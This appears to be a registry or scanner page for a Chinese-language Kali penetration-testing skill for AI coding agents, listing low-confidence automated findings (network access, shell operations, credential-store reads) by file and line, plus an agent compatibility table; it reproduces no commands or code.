- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/azurehound.md:101Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/azurehound.md:118Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/azurehound.md:119Low confidence
- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/docker-bench-security.md:15Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/cloud-native/tools/docker-bench-security.md:39Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/docker-bench-security.md:59Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/kube-bench.md:58Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/cloud-native/tools/kubescape.md:15Low confidence
- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/kubescape.md:15Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/kubescape.md:53Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/kubescape.md:54Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/cloud-native/tools/pacu.md:15Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/pacu.md:103Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/pacu.md:104Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:15Low confidence
- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:21Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:24Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:71Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:72Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:73Low confidence
- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:84Low confidence
- Network access in code of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:85Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:170Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/peirates.md:171Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/prowler.md:54Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/prowler.md:55Low confidence
- Network access in prose of documentationkali-pentest-zh/references/cloud-native/tools/scoutsuite.md:52Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/environment/docker-mode-persistent-container.md:94Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/environment/docker-mode-persistent-container.md:99Low confidence
- Network access in prose of documentationkali-pentest-zh/references/environment/docker-mode.md:46Low confidence
- Network access in prose of documentationkali-pentest-zh/references/environment/docker-mode.md:47Low confidence
- Access to secrets in code of documentation: reads a credential storekali-pentest-zh/references/environment/server-mode.md:22Low confidence
- Access to secrets in code of documentation: reads a credential storekali-pentest-zh/references/environment/server-mode.md:23Low confidence
- Access to secrets in code of documentation: reads a credential storekali-pentest-zh/references/environment/server-mode.md:27Low confidence
- Access to secrets in code of documentation: reads a credential storekali-pentest-zh/references/environment/server-mode.md:34Low confidence
- Access to secrets in code of documentation: reads a credential storekali-pentest-zh/references/environment/server-mode.md:35Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/environment/server-mode.md:36Low confidence
- Dangerous shell operation in code of documentationkali-pentest-zh/references/environment/server-mode.md:37Low confidence
- Access to secrets in code of documentation: reads a credential storekali-pentest-zh/references/environment/server-mode.md:37Low confidence
- Network access in prose of documentationkali-pentest-zh/references/exploitation/README.md:70Low confidence
- Network access in prose of documentationkali-pentest-zh/references/exploitation/README.md:71Low confidence
- Network access in prose of documentationkali-pentest-zh/references/exploitation/README.md:192Low confidence
and 450 more
Only the first 500 facts are listed.
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Native | Frontmatter field user-invocable in kali-pentest-zh/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md kali-pentest/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md kali-pentest/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md kali-pentest/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md kali-pentest/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md kali-pentest/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.